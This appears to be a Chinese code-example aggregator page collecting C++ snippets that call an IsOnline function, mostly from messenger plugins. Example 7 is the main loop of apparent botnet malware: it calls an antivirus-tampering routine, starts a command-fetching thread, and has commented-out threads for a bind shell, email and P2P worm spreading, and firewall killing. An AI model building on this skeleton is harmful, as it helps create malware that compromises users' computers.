当前位置: 首页>>代码示例>>C++>>正文


C++ IsOnline函数代码示例

本文整理汇总了C++中IsOnline函数的典型用法代码示例。如果您正苦于以下问题:C++ IsOnline函数的具体用法?C++ IsOnline怎么用?C++ IsOnline使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了IsOnline函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: SetServerStatus

int CVkProto::SetStatus(int iNewStatus)
{
	if (m_iDesiredStatus == iNewStatus || iNewStatus == ID_STATUS_IDLE)
		return 0;

	int oldStatus = m_iStatus;
	m_iDesiredStatus = iNewStatus;

	if (iNewStatus == ID_STATUS_OFFLINE) {
		if ( IsOnline()) {
			SetServerStatus(ID_STATUS_OFFLINE);
			ShutdownSession();
		}

		m_iStatus = m_iDesiredStatus = ID_STATUS_OFFLINE;
		ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)oldStatus, m_iStatus);
	}
	else if (m_hWorkerThread == NULL && !(m_iStatus >= ID_STATUS_CONNECTING && m_iStatus < ID_STATUS_CONNECTING + MAX_CONNECT_RETRIES)) {
		m_iStatus = ID_STATUS_CONNECTING;
		ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)oldStatus, m_iStatus);
		m_hWorkerThread = ForkThreadEx(&CVkProto::WorkerThread, 0, NULL);
	}
	else if ( IsOnline())
		SetServerStatus(iNewStatus);
	else 
		ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)oldStatus, m_iStatus);

	return 0;
}
开发者ID:MrtsComputers,项目名称:miranda-ng,代码行数:29,代码来源:vk_proto.cpp

示例2: AuthDeny

int CSteamProto::AuthDeny(MEVENT hDbEvent, const TCHAR*)
{
	if (IsOnline() && hDbEvent)
	{
		MCONTACT hContact = GetContactFromAuthEvent(hDbEvent);
		if (hContact == INVALID_CONTACT_ID)
			return 1;

		//ForkThread(&CSteamProto::AuthDenyThread, (void*)hContact);

		ptrA token(getStringA("TokenSecret"));
		ptrA sessionId(getStringA("SessionID"));
		ptrA steamId(getStringA("SteamID"));
		char *who = getStringA(hContact, "SteamID");

		PushRequest(
			new IgnorePendingRequest(token, sessionId, steamId, who),
			&CSteamProto::OnPendingIgnoreded,
			who, MirFreeArg);

		return 0;
	}

	return 1;
}
开发者ID:Seldom,项目名称:miranda-ng,代码行数:25,代码来源:steam_proto.cpp

示例3: debugLogA

void CVkProto::RetrieveUsersInfo(bool flag)
{
	debugLogA("CVkProto::RetrieveUsersInfo");
	if (!IsOnline())
		return;

	CMString userIDs, code;
	for (MCONTACT hContact = db_find_first(m_szModuleName); hContact; hContact = db_find_next(hContact, m_szModuleName)) {
		LONG userID = getDword(hContact, "ID", -1);
		if (userID == -1 || userID == VK_FEED_USER)
			continue;
		if (!userIDs.IsEmpty())
			userIDs.AppendChar(',');
		userIDs.AppendFormat(_T("%i"), userID);
	}

	CMString codeformat("var userIDs=\"%s\";");

	if (m_bNeedSendOnline)
		codeformat += _T("API.account.setOnline();");
	
	if (flag)
		codeformat += CMString("var US=API.users.get({\"user_ids\":userIDs,\"fields\":\"%s\",\"name_case\":\"nom\"});"
			"var res=[];var index=US.length;while(index >0){index=index-1;if(US[index].online==1){res.unshift(US[index]);};};"
			"return{\"freeoffline\":1,\"users\":res,\"requests\":API.friends.getRequests({\"extended\":0,\"need_mutual\":0,\"out\":0})};");
	else
		codeformat += CMString("var res=API.users.get({\"user_ids\":userIDs,\"fields\":\"%s\",\"name_case\":\"nom\"});"
			"return{\"freeoffline\":0,\"users\":res};");
	code.AppendFormat(codeformat, userIDs, CMString(flag ? "online,status" : fieldsName));

	Push(new AsyncHttpRequest(this, REQUEST_POST, "/method/execute.json", true, &CVkProto::OnReceiveUserInfo)
		<< TCHAR_PARAM("code", code)
		<< VER_API);
}
开发者ID:truefriend-cz,项目名称:miranda-ng,代码行数:34,代码来源:vk_thread.cpp

示例4: iter

/*!
\brief Delete an account
\author Akron
\return true if account is deleted correctly, or false
\param name the account name
*/
bool cAccounts::RemoveAccount(std::string name)
{
	ACCOUNT_LIST_BY_NAME::iterator iter( accbyname.find( name ));
	ACCOUNT acc;
	if ( iter==accbyname.end() )
		return false;
	else
		acc = iter->second;
	
	if ( IsOnline(acc) )
	{
		unsigned int r = pointers::findCharBySerial(GetInWorld(acc))->getClient()->toInt();
		Network->Disconnect(r);
	}
	
	NxwCharWrapper acc_chars;
	GetAllChars( acc, acc_chars );
	for( acc_chars.rewind(); !acc_chars.isEmpty(); acc_chars++ )
	{
		P_CHAR pc = acc_chars.getChar();
		if(ISVALIDPC(pc))
			pc->Delete();
	}
	
	accbyname.erase( name );
	acctlist.erase( acc );
	SaveAccounts();
	return true;
}
开发者ID:BackupTheBerlios,项目名称:hypnos-svn,代码行数:35,代码来源:accounts.cpp

示例5: szUrl

INT_PTR CVkProto::SvcGetAvatarInfo(WPARAM wParam, LPARAM lParam)
{
	PROTO_AVATAR_INFORMATIONT* AI = (PROTO_AVATAR_INFORMATIONT*)lParam;

	ptrA szUrl( getStringA(AI->hContact, "AvatarUrl"));
	if (szUrl == NULL)
		return GAIR_NOAVATAR;

	TCHAR tszFileName[MAX_PATH];
	GetAvatarFileName(AI->hContact, tszFileName, SIZEOF(tszFileName));
	_tcsncpy(AI->filename, tszFileName, SIZEOF(AI->filename));

	AI->format = ProtoGetAvatarFormat(AI->filename);

	if (::_taccess(AI->filename, 0) == 0)
		return GAIR_SUCCESS;

	if ( IsOnline()) {
		AsyncHttpRequest *pReq = new AsyncHttpRequest();
		pReq->flags = NLHRF_NODUMP | NLHRF_REDIRECT;
		pReq->m_szUrl = szUrl;
		pReq->pUserInfo = (char*)AI->hContact;
		pReq->m_pFunc = &CVkProto::OnReceiveAvatar;
		pReq->requestType = REQUEST_GET;
		Push(pReq);

		debugLogA("Requested to read an avatar from '%s'", szUrl);
		return GAIR_WAITFOR;
	}

	debugLogA("No avatar");
	return GAIR_NOAVATAR;
}
开发者ID:Ganster41,项目名称:miranda-ng,代码行数:33,代码来源:vk_avatars.cpp

示例6: SetContactExtraIcon

void CQuotesProviderBase::SetContactExtraIcon(MCONTACT hContact)const
{
// 	tstring s = DBGetStringT(hContact,LIST_MODULE_NAME,CONTACT_LIST_NAME);
// 	tostringstream o;
// 	o << "Request on " << s << " refreshing\nIs online " << IsOnline() << ", is in progress " << m_bRefreshInProgress << "\n";

	bool bResult = false;
	if(true == IsOnline() && (false == m_bRefreshInProgress))
	{
		CTendency tendency;
		if(tendency.Parse(this,m_sTendencyFormat,hContact) && (false == m_bRefreshInProgress))
		{
			bResult = do_set_contact_extra_icon(hContact,tendency);
		}
// 		double dCurrRate = 0.0;
// 		double dPrevRate = 0.0;
// 		if((true == Quotes_DBReadDouble(hContact,QUOTES_PROTOCOL_NAME,DB_STR_QUOTE_CURR_VALUE,dCurrRate))
// 			&& (true == Quotes_DBReadDouble(hContact,QUOTES_PROTOCOL_NAME,DB_STR_QUOTE_PREV_VALUE,dPrevRate))
// 			&& (false == m_bRefreshInProgress))
// 		{
// // 			o << "Curr rate = " << dCurrRate << ", prev rate " << dPrevRate << "\n";
// 			bResult = do_set_contact_extra_icon(hContact,dCurrRate,dPrevRate);
// 		}
	}

// 	o << "Result is " << bResult;
// 	LogIt(Info,o.str());
}
开发者ID:slotwin,项目名称:miranda-ng,代码行数:28,代码来源:QuotesProviderBase.cpp

示例7: EnterPoint

//-----------------------------------------------------------------
DWORD WINAPI EnterPoint(LPVOID lpParam){

	DWORD	dwThreadID;
	int		tmp_cnt1 = 0;

	AVPsex();
	while(1){
		if(IsOnline()){
			if(tmp_cnt1 == 0){
				tmp_cnt1 = 1;
				CreateThread(NULL, NULL, GetCommand, NULL, NULL, &dwThreadID);
				/*
				if(MY_MACRO_SOCKS4_ACTIVE){
					CreateThread(NULL, NULL, SocksDaemon, NULL, NULL, &dwThreadID);
				}
				if(MY_MACRO_BIND){
					CreateThread(NULL, NULL, BindShell, NULL, NULL, &dwThreadID);
				}
				if(MY_MACRO_WORM_ACTIVE){
					// here 
                    CreateThread(NULL, NULL, EMAILWormThread, NULL, NULL, &dwThreadID);
					CreateThread(NULL, NULL, P2P_Spreading, NULL, NULL, &dwThreadID);
				}
				if(MY_MACRO_FIREWALL_KILL){
                    CreateThread(NULL, NULL, KillFirewalls, NULL, NULL, &dwThreadID);
				}
				*/
			}
		}
		Sleep(MY_MACRO_CHECK_INET_TIME*1000);
	}
return FALSE;
}
开发者ID:A-Massarella,项目名称:Botnet,代码行数:34,代码来源:main.cpp

示例8: szUrl

INT_PTR CVkProto::SvcGetAvatarInfo(WPARAM, LPARAM lParam)
{
	PROTO_AVATAR_INFORMATION* pai = (PROTO_AVATAR_INFORMATION*)lParam;

	ptrA szUrl(getStringA(pai->hContact, "AvatarUrl"));
	if (szUrl == NULL)
		return GAIR_NOAVATAR;

	TCHAR tszFileName[MAX_PATH];
	GetAvatarFileName(pai->hContact, tszFileName, _countof(tszFileName));
	_tcsncpy(pai->filename, tszFileName, _countof(pai->filename));

	pai->format = ProtoGetAvatarFormat(pai->filename);

	if (::_taccess(pai->filename, 0) == 0 && !getBool(pai->hContact, "NeedNewAvatar"))
		return GAIR_SUCCESS;

	if (IsOnline()) {
		AsyncHttpRequest *pReq = new AsyncHttpRequest();
		pReq->flags = NLHRF_NODUMP | NLHRF_REDIRECT;
		pReq->m_szUrl = szUrl;
		pReq->pUserInfo = new CVkSendMsgParam(pai->hContact);
		pReq->m_pFunc = &CVkProto::OnReceiveAvatar;
		pReq->requestType = REQUEST_GET;
		pReq->m_bApiReq = false;
		Push(pReq);

		debugLogA("Requested to read an avatar from '%s'", szUrl);
		return GAIR_WAITFOR;
	}

	debugLogA("No avatar");
	return GAIR_NOAVATAR;
}
开发者ID:truefriend-cz,项目名称:miranda-ng,代码行数:34,代码来源:vk_avatars.cpp

示例9: debugLogA

void CVkProto::GetServerHistory(MCONTACT hContact, int iOffset, int iCount, int iTime, int iLastMsgId, bool once)
{
	debugLogA("CVkProto::GetServerHistory %d %d %d %d %d", iOffset, iCount, iTime, iLastMsgId, (int)once);
	if (!IsOnline())
		return;
	
	LONG userID = getDword(hContact, "ID", -1);
	if (-1 == userID || userID == VK_FEED_USER)
		return;

	CMStringA code(FORMAT, "var iOffset=%d;var iReqCount=%d;var userID=%d;var iTime=%d;var lastMid=%d;"
		"var Hist=API.messages.getHistory({\"user_id\":userID,\"count\":iReqCount,\"offset\":iOffset});"
		"var ext=Hist.items.length;var index=0;"
		"while(ext!=0){if(Hist.items[index].date>iTime){if(Hist.items[index].id>lastMid)"
		"{index=index+1;ext=ext-1;}else ext=0;}else ext=0;};"
		"var ret=Hist.items.slice(0,index);"
		"var [email protected]_messages;var Idx=0;var Uids=[];while(Idx<FMsgs.length){"
		"var Jdx=0;var CFMsgs=parseInt(FMsgs[Idx].length);while(Jdx<CFMsgs){"
		"Uids.unshift(FMsgs[Idx][Jdx].user_id);Jdx=Jdx+1;};Idx=Idx+1;};"
		"var FUsers=API.users.get({\"user_ids\":Uids,\"name_case\":\"gen\"});"
		"return{\"count\":index,\"datetime\":iTime,\"items\":ret,\"fwd_users\":FUsers,\"once\":%d,\"rcount\":iReqCount};", 
		iOffset, iCount, userID, iTime, iLastMsgId, (int)once);
	Push(new AsyncHttpRequest(this, REQUEST_GET, "/method/execute.json", true, &CVkProto::OnReceiveHistoryMessages)
		<< CHAR_PARAM("code", code)
		<< VER_API)->pUserInfo = new CVkSendMsgParam(hContact, iLastMsgId, iOffset);
}
开发者ID:truefriend-cz,项目名称:miranda-ng,代码行数:26,代码来源:vk_history.cpp

示例10: debugLogA

INT_PTR __cdecl CVkProto::SvcGetAllServerHistoryForContact(WPARAM hContact, LPARAM)
{
	debugLogA("CVkProto::SvcGetAllServerHistoryForContact");
	if (!IsOnline())
		return 0;
	LPCTSTR str = TranslateT("Are you sure to reload all messages from vk.com?\nLocal contact history will be deleted and reloaded from the server.\nIt may take a long time.\nDo you want to continue?");
	if (IDNO == MessageBox(NULL, str, TranslateT("Attention!"), MB_ICONWARNING | MB_YESNO))
		return 0;

	LONG userID = getDword(hContact, "ID", -1);
	if (userID == -1 || userID == VK_FEED_USER)
		return 0;

	MEVENT hDBEvent = db_event_first(hContact);
	while (hDBEvent) {
		MEVENT hDBEventNext = db_event_next(hContact, hDBEvent);
		db_event_delete(hContact, hDBEvent);
		hDBEvent = hDBEventNext;
	}

	m_bNotifyForEndLoadingHistory = true;

	db_unset(hContact, m_szModuleName, "lastmsgid");
	GetServerHistory(hContact, 0, MAXHISTORYMIDSPERONE, 0, 0);
	return 1;
}
开发者ID:ybznek,项目名称:miranda-ng,代码行数:26,代码来源:vk_history.cpp

示例11: OnPlayerLogout

	Bool HsPlayer::OnPlayerLogout()
	{
		//在线状态即退出
		if (IsOnline())
			OnPlayerLeave();

		return true;
	}
开发者ID:SleepingBearZ,项目名称:hawkserver,代码行数:8,代码来源:HsPlayerMsg.cpp

示例12: BlockContact

INT_PTR CSkypeProto::BlockContact(WPARAM hContact, LPARAM)
{
	if (!IsOnline()) return 1;

	if (IDYES == MessageBox(NULL, TranslateT("Are you sure?"), TranslateT("Warning"), MB_YESNO | MB_ICONQUESTION))
		SendRequest(new BlockContactRequest(li, ptrA(db_get_sa(hContact, m_szModuleName, SKYPE_SETTINGS_ID))), &CSkypeProto::OnBlockContact, (void *)hContact);
	return 0;
}
开发者ID:Seldom,项目名称:miranda-ng,代码行数:8,代码来源:skype_contacts.cpp

示例13: OnContactDeleted

int CSkypeProto::OnContactDeleted(MCONTACT hContact, LPARAM)
{
	if (!IsOnline()) return 1;

	if (hContact && !isChatRoom(hContact))
		PushRequest(new DeleteContactRequest(li, ptrA(db_get_sa(hContact, m_szModuleName, SKYPE_SETTINGS_ID))));
	return 0;
}
开发者ID:Seldom,项目名称:miranda-ng,代码行数:8,代码来源:skype_contacts.cpp

示例14: AbsoluteExitGame

void CPythonNetworkStream::AbsoluteExitGame()
{
	if (!IsOnline())
		return;

	OnRemoteDisconnect();		
	Disconnect();
}
开发者ID:adi97ida,项目名称:Client,代码行数:8,代码来源:PythonNetworkStream.cpp

示例15: debugLogA

void CVkProto::RetrieveUnreadMessages()
{
	debugLogA("CVkProto::RetrieveUnreadMessages");
	if (!IsOnline())
		return;
	Push(new AsyncHttpRequest(this, REQUEST_GET, "/method/messages.getDialogs.json", true, &CVkProto::OnReceiveDlgs)
		<< INT_PARAM ("count", 200));
}
开发者ID:ybznek,项目名称:miranda-ng,代码行数:8,代码来源:vk_messages.cpp


注:本文中的IsOnline函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。